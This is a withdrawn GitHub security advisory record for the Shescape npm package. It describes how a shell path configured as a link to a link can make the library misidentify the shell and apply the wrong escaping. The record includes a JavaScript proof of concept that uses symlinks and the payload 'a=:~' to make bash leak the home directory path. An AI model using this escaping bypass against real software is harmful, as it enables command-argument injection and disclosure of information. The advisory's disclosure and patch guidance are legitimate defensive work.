{"id":"GHSA-6f6w-6j58-rq76","summary":"Withdrawn Advisory: Shescape has possible misidentification of shell due to link chains","details":"## Withdrawn Advisory\n\nThis advisory has been withdrawn because it falls outside the https://github.com/ericcornelissen/shescape/blob/a2544a1c78cae19d0e81a485b997bf0b0fcc2c12/SECURITY.md#threat-model. This link is maintained to preserve external references.\n\n## Original Description\n### Impact\n\nThis impacts users of Shescape that configure their `shell` to point to a file on disk that is a link to a link. The precise result of being affected depends on the actual shell used and incorrect shell identified by Shescape.\n\nIn particular, an attacker may be able to bypass escaping for the shell being used. This can result, for example, in exposure of sensitive information, consider the following proof of concept (targeting Shescape v2):\n\n```javascript\nimport fs from \"node:fs\";\nimport { exec } from \"node:child_process\";\n\nimport { Shescape } from \"shescape\";\nimport which from \"which\";\n\n/* 1. Set up */\nconst shell = which.sync(\"bash\");\nconst linkToShell = \"./csh\";\nconst linkToLink = \"./link\";\n\nfs.rmSync(linkToLink, { force: true });\nfs.rmSync(linkToShell, { force: true });\nfs.symlinkSync(shell, linkToShell);\nfs.symlinkSync(linkToShell, linkToLink);\n\n/* 2. Misconfiguration */\nconst execOptions = {\n  shell: linkToLink,\n};\n\nconst shescape = new Shescape({\n  shell: execOptions.shell,\n});\n\n/* 3. Payload */\nconst userInput = \"a=:~\";\n\n/* 4. Attack example */\nexec(\n  `echo Hello ${shescape.escape(userInput)}`,\n  { shell: execOptions.shell },\n  (error, stdout) =\u003e {\n    fs.rmSync(linkToLink);\n    fs.rmSync(linkToShell);\n\n    if (error) {\n      console.error(`An error occurred: ${error}`);\n    } else {\n      console.log(stdout);\n      // Output:  \"Hello a=:/home/user\"\n    }\n  },\n);\n```\n\n### Patches\n\nThis problem has been patched in [v2.1.9](https://www.npmjs.com/package/shescape/v/2.1.9) which you can upgrade to now.\n\n### Workarounds\n\nIf upgrading is not an option, either avoid using a shell or make sure the shell path you use is not a link to a link.\n\n### References\n\n- Shescape Pull Request [#2388](https://github.com/ericcornelissen/shescape/pull/2388)\n- Shescape Release [v2.1.9](https://github.com/ericcornelissen/shescape/releases/tag/v2.1.9)\n\n### For more information\n\n- Comment on Pull Request [#2388](https://github.com/ericcornelissen/shescape/pull/2388)\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)","aliases":["CVE-2026-30916"],"modified":"2026-03-20T20:01:34.818140Z","published":"2026-03-07T02:31:58Z","withdrawn":"2026-03-20T19:53:41Z","database_specific":{"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-03-07T02:31:58Z","nvd_published_at":"2026-03-10T17:40:15Z","cwe_ids":["CWE-200"]},"references":[{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/security/advisories/GHSA-6f6w-6j58-rq76"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30916"},{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/pull/2388"},{"type":"WEB","url":"https://github.com/github/advisory-database/pull/7206"},{"type":"PACKAGE","url":"https://github.com/ericcornelissen/shescape"},{"type":"WEB","url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.9"},{"type":"WEB","url":"https://www.npmjs.com/package/shescape/v/2.1.9"}],"affected":[{"package":{"name":"shescape","ecosystem":"npm","purl":"pkg:npm/shescape"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.9"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.1.8","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-6f6w-6j58-rq76/GHSA-6f6w-6j58-rq76.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"}]}